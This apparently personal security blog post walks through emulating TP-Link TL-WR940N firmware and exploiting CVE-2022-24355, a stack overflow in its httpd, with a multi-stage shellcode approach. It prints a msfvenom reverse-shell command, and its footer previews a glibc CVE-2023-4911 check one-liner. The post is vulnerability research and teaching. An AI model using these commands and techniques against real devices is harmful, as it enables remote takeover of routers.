[Debug/Exploit CVE-2022-24355] TP-Link TL-WR940N Stack-based Buffer Overflow

-

( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ )
(إن أحسنت فمن الله، وإن أسأت فمن نفسي والشيطان)



We will try to debug and exploit CVE-2022-24355, i wanna thank my friend Sameh (s4muii) for his help through this exploit.

It was a little bit hard because this is my first time with MIPS.

The Exploit on GitHub.

About the Bug

TP-Link TL-WR940N router's firmware before v5_211111 is vulnerable to Stack Overflow, the vulnerability in "httpd" binary in function "httpRpmFs" and we can know that from ZDI report (https://www.zerodayinitiative.com/advisories/ZDI-22-265/) we will try to reproduce this finding in firmware "v4_160617" which will be emulated in our device because we do not have the router itself.

Emulation

let's start with running the firmware in our system i tried to use my docker image to host it but i faced some issues so i decided to emulate it using Linux OS using the tool "firmadyne" which emulate and extracts file systems from the firmware and have some other scripts to be used, followin its instructions you will be able to intall it and setup the environment and start it on the firmware that you want to analysis and emualte.

i faced some issues with installing and setup the environment and these are some links maybe will help you if you faces same issues:

  • issue of "squashfs" with [link].
  • issue for "makeImage.sh" script using this [link].
  • "kernel panic" I just removed the scratch file and reused the firmware commands again
  • open database using "sudo -i -u postgres" to switch user and then use "psql"
  • this issue helped us to know how we can access the router and how we can send files to the firmware: [link]
after that i followed the usage instructions and it works, make sure to run the commands when you are in the tool direcotry

the "run.sh" command will start QEMU and run the firmware.
if you wanna add some files to the firmware to use it you can use script "./scripts/mount.sh <firmware_num>" and it will be in "./scratch/1/image/" You can add what you want or edit what you want and unmount it using "./scripts/umount.sh <firmware_num>" we can use this method to send a mips gdbserver to the firmware file system to use it in debugging section we can download this gdbserver from GitHub.

The following screenshots show the output of commands and the running of the emulated firmware.




the following screenshots show the root password and use of mount and umount scripts

    





now we know the root password and we added our gdbserver to the firmware now let's try to login



note that when you run the firmware you have to wait until the "(none)" word before "login" changed and becomes "TL-WR940N, the IP of the router will be "192.168.0.1" Try to call it using "curl" If you faced an issue with that you can solve it using these commands from this issue in GitHub [link].

to disable the ASLR which is normal in the real environment you have to modify the "run.sh" file and add "norandmaps" to the QEMU command


Now you can open the router on your browser and change the password of admin normally.

Firmware Analysis

loading both firmware v4(vuln) and v5(fixed) in our Ghidra project and searching for the vulnerable function "httpRpmFs" and see its references and which functions are calling it


if you try to call the router you will be redirected to a forbidden page 



we have to send the same hostname in the "Referer" header to pass this condition.

The following screenshots show the different between fixed function and vulnerable one

Vulnerable

Fixed

Modified vuln function

for condition of vuln function (VULN)

the following screenshot shows the conditions the new part "i != 6" is limiting the copying process until 6 chars.


I asked a friend "ChatGPT" to analyze the functions "httpRpmFs" and "FUN_00506790"






with some dynamic analysis, we can get the crashpoint after calling "/loginFs/<FileName>" the filename from "/tmp" and we will use "passwd" which is a file in the tmp directory by default in the router.

This function copping the value from the HTTP request to compare it with the list of extensions which is allowed but what happen if we did not give it a file with extension? it will copy and copy until it reach a null byte so it will overwrite on the stack because there is no check in the copied size it.

Dynamic Analysis

sending HTTP request to "/loignFs/passwd" with a lot of "A"'s in the cookies will cause a crash because we will overwrite the return address which it is in addr "0x7cfffa90".




there is no security controls on the binary so we will write a shellcode into the stack and jump to it.


Note that in the analysis part we find that there is a "toupper" function called and our input passed to it so any value between "a -> z" will be modified to "A -> Z" and this will cause issue to us in the shell code bytes we have a list of bad chars "\x00\x0d\x0a" and "a->z".

after trying my approach (failed), i got an awesome idea from my friend Sameh (@S4muii) which is send a shellcode that reads an input from us and jump to this input so we can send our shellcode with bad cahrs, and the real shellcode (shellcrat.bindsh) from pwntools and we will pass a port that we will interact with.

if we run our (exploit script) we will get our shell on the router ;-). (note that it tested in emulated environment)


if there is a comment or a better way to do it contact with me (@flex0geek) let's learn new staff.

Failed Scenario

Note: This approach did not work with me.


i created a shellcode using "msfveom" 
msfvenom -p linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.0.2 X

and passed the shellcode bytes to pwntools encoder

if we disassemble the encoded shellcode we will find in second instruction there is a bad cahr "0x70" because of using register "$t9"


so why we can not change this register and i used "$t1" and it was a hint from a writeup i red before (but i could not continue with this), so it works with me and we have a clear shellcode


if we send this shellcode the process "httpd" will be changed to "[sh]" pid "3166" in the following screenshot



i faced an issue when i tried to send commands an receive the output. 


عن أبي هريرة رضي الله عنه عن رسول الله صلى الله عليه وسلم قال: "كَلِمَتَانِ خفيفتان على اللسان، ثقيلتان في الميزان، حبيبتان إلى الرحمن: سبحان الله وبحمده، سبحان الله العظيم".

Comments

Post a Comment

Popular posts from this blog

Exploit & Debug Looney Tunables CVE-2023-4911 Local Privilege Escalation in the glibc's ld.so

-
Image
Hoi, let's try to debug and explain CVE-2023-4911 which is a buffer overflow in the glibc loader my debugging and exploit tested on Ubuntu 22.04.2 (Jammy Jellyfish), you can read the analysis and more information from the Qualys Security writeup . POC to check if you are vulnerable or not env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help My exploit POC video takes 5m but I speeded up the video Preparing let's disable ASLR and debug our exploit echo 0 | sudo tee /proc/sys/kernel/randomize_va_space you have to know (from qualys security): On Linux, the stack is randomized in a 16GB region, and our environment strings can occupy up to 6MB (_STK_LIM / 4 * 3, in the kernel's bprm_stack_limits()): after 16GB / 6MB = 2730 tries we have a good chance of guessing the address of our environment strings. using the buffer overflow vulnerability in the tunables we will overflow the link_map struct wh
Read more

Lets Analysis STM32F103 Chip Firmware from Attify

-
Image
( بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ ) Let's start our blog. As we know any IoT device should have a firmware to run it and there is a thought that it is secure by default because it is in a board, but we know that we can dump this firmware, our firmware know is already shared with us something like training to learn basics of reversing firmware. you can download the firmware from here . if we run the file command on the firmware we will find this "STM32F103C-firmware.bin: data" and if we try to get the architecture using binwalk it will return empty result "binwalk -A STM32F103C-firmware.bin" but we don't need this because it is a famous chip and we can know what we want from google. After searching for the chip name STM32F103C we will open its default page you will know that it run using "ARM Cortex M3" we will need that later, it is time to analysis using Ghidra. Analysis Dropping the firmware file to Ghidra but it will not detect anything
Read more

Using CSRF I Got Weird Account Takeover

-
Image
Hi guys, I'm back again this bug was interesting and weird let's start. let's refer to the target's name as (target.com) I start to test the domain like what I do in my testing, I used sublist3r to enumerate the subdomains, in one of these subdomains I start to test the password reset function I sent a request to my email to change the password, i opened the link and sent the request to change the password but i used my Burp to see the request and it looks like that there is a token for CSRF I tested this token and deleted it but the change happens, that means there is no filtring for this token there is a CSRF bug here and there is another thing the token of reset password not in the request not in the cookies or in the body so i think it's in the sessions and how i knew that? I test the function of reset password I sent another link to my account and i sent the same request but it returns 403, I opened the new reset link bug didn't use it and I go b
Read more